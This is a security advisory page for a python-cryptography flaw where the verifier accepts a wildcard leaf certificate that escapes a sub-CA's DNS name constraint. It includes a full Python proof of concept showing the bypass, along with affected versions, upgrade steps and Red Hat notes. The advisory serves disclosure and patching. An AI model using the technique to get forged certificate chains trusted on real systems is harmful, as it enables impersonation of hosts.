python-cryptography verifier accepts wildcard DNS names allowing escape from permittedSubtreesGHSA-m2h6-j472-rp4c
Fix: pyca/cryptography#14888GHSA-m2h6-j472-rp4c is a CWE-295 vulnerability in cryptography. A fix is available for cryptography — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-m2h6-j472-rp4c.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
cryptographyReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
If an intermediate constrained CA permits the DNS name foo.example.com, and the leaf certificate has a wildcard in its DNS SAN of *.example.com, python-cryptography's verifier accepts which allows escaping outside of the permitted names.
PoC
#!/usr/bin/env python3
"""Standalone PoC: pyca's DNSConstraint::matches admits a too-broad wildcard SAN.
Setup:
Sub-CA permitted constraint: dNSName = foo.example.com
Leaf SAN: dNSName = *.example.com
Expected: rejection (RFC 5280 §4.2.1.10 + standard wildcard semantics).
Observed: pyca accepts; further, asks server-verifier whether the leaf is
authoritative for `bar.example.com` and pyca answers yes — a sub-CA scope
escape.
"""
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.verification import (
PolicyBuilder, Store, ExtensionPolicy, Criticality, VerificationError,
)
now = datetime.datetime(2027, 1, 1, tzinfo=datetime.timezone.utc)
day = datetime.timedelta(days=1)
def build(subject, issuer, key, issuer_key, ca, exts=()):
b = (x509.CertificateBuilder()
.subject_name(subject).issuer_name(issuer)
.public_key(key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(now - 30 * day)
.not_valid_after(now + 3650 * day)
.add_extension(x509.BasicConstraints(ca=ca, path_length=None), critical=True))
for e, c in exts:
b = b.add_extension(e, c)
return b.sign(issuer_key, hashes.SHA256())
# Root
rk = ec.generate_private_key(ec.SECP256R1())
rn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Test Root")])
root = build(rn, rn, rk, rk, True)
# Sub-CA constrained to foo.example.com
sk = ec.generate_private_key(ec.SECP256R1())
sn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Sub-CA")])
nc = x509.NameConstraints(
permitted_subtrees=[x509.DNSName("foo.example.com")],
excluded_subtrees=None,
)
sub = build(sn, rn, sk, rk, True, [(nc, True)])
# Leaf with SAN *.example.com (over-broad relative to the constraint)
lk = ec.generate_private_key(ec.SECP256R1())
ln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, "Leaf")])
san = x509.SubjectAlternativeName([x509.DNSName("*.example.com")])
leaf = build(ln, sn, lk, sk, False, [(san, False)])
# Policies
ca_pol = ExtensionPolicy.permit_all().require_present(
x509.BasicConstraints, Criticality.AGNOSTIC, None,
)
ee_pol = ExtensionPolicy.permit_all().require_present(
x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,
)
v = (
PolicyBuilder()
.store(Store([root]))
.time(now)
.extension_policies(ca_policy=ca_pol, ee_policy=ee_pol)
.build_server_verifier(x509.DNSName("bar.example.com"))
)
try:
v.verify(leaf, [sub])
print("BUG: pyca trusted leaf as bar.example.com though sub-CA was constrained to foo.example.com")
except VerificationError as e:
print(f"EXPECTED: VerificationError: {e}")
Impact
Acceptance of invalid certificate chain.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | cryptography | ≥ 45.0.0&&< 49.0.0 | 49.0.0pip install --upgrade 'cryptography==49.0.0' |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cryptography, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update cryptography to 49.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-m2h6-j472-rp4c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
Red Hat rates this Moderate. Exploitation requires a DNS-constrained intermediate CA that issues a broader wildcard leaf SAN than its permitted subtree, which Web PKI does not use. First affected upstream version is 46.0.6 (PR #14542); fixed in 49.0.0 (PR #14888 / GHSA-m2h6-j472-rp4c).
Red Hat is not aware of a practical temporary workaround that fully mitigates this issue or meets Red Hat Product Security's standards for usability, deployment, applicability, or stability. Customers are advised to apply the relevant security updates when/if they become available.Source: Red Hat security advisory for GHSA-m2h6-j472-rp4c (CC BY 4.0)
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat Enterprise Linux 10 | python3.14-cryptography-0:45.0.4-4.el10_2.5 | RHSA-2026:64795 |
| Red Hat Enterprise Linux 9 | python3.14-cryptography-0:45.0.4-4.el9_8.6 | RHSA-2026:64774 |
| Red Hat AI Inference Server 3.4 | rhaii/vllm-cpu-rhel9:1790075793 | RHSA-2026:70965 |
| Red Hat AI Inference Server 3.4 | rhaii/vllm-spyre-rhel9:1790076141 | RHSA-2026:70969 |
| Red Hat AI Inference Server 3.4 | rhaii/vllm-cuda-rhel9:1790090131 | RHSA-2026:70979 |
| Red Hat AI Inference Server 3.4 | rhaii/vllm-rocm-rhel9:1790109620 | RHSA-2026:70995 |
| Red Hat Hardened Images | python-cryptography-main-50.0.0-1.hum1 | RHSA-2026:55543 |
Frequently Asked Questions
Is GHSA-m2h6-j472-rp4c in your dependencies?
Find it across PyPI, including transitive dependencies.